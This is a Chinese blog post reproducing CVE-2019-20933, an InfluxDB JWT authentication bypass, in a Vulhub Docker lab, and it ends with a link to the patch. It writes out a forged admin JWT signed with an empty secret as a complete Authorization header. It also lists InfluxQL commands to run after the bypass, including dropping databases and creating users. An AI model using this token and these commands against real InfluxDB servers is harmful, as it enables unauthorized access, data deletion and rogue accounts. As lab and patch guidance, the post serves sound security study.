InfluxDB JWT未授权漏洞(CVE-2019-20933)复现

0x00 漏洞简介

InfluxDB是一款时序数据库,其使用JWT作为鉴权方式。
在其1.7.6版本以前,默认设置JWT的认证密钥shared-secret为空字符串,导致攻击者可以伪造任意用户身份在InfluxDB中执行SQL语句。

漏洞原理是1.7.6之前的InfluxDB在services/httpd/handler.go中的身份验证函数中存在身份验证绕过漏洞,因为JWT令牌可能具有空的共享密钥(也被称为共享密钥)。

0x01 环境启动

cd /root/vulhub-master/influxdb/CVE-2019-20933/
docker-compose build
docker-compose up -d

0x02 漏洞复现

访问htp://IP:8086/query 查询功能有提示需要登录


抓包发现响应头带有X-Influxdb-Version标志头



访问htp://IP:8086/debug/vars 查看系统的服务信息



通过https://jwt.io/#debugger-io 构造绕过身份验证所需的Token:


{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "username": "admin",
  "exp": 4072615314
}

其中,username代表已存在的用户,exp是时间戳,代表该Token的过期时间,所以需要生成一个未来的时间戳(www.beijing-time.org/shijianchuo/),将secret值置空,得到编码后的Token:



抓取/query页面的数据包,将请求方式修改为POST,添加以下请求字段:


Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo0MDcyNjE1MzE0fQ.mwI2P1j8CIvhxBKFvcyU7TNLBeuFtiUM1mPrKanF1w4

Content-Type: application/x-www-form-urlencoded

相关操作命令如下:
show databases	#显示数据库
show measurements		#显示当前数据库中的数据表
show users	#显示用户
create database aaa		#创建aaa数据库
drop database aaa		#删除aaa数据库
show field keys		#显示当前数据中的表的字段
create user aaa with password 'aaa'	#创建aaa:aaa 数据库用户	

0x03 修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:https://github.com/influxdata/influxdb/commit/761b557315ff9c1642cf3b0e5797cd3d983a24c0

posted @ 2024-02-21 16:12  BMCel  阅读(1163)  评论(0编辑  收藏  举报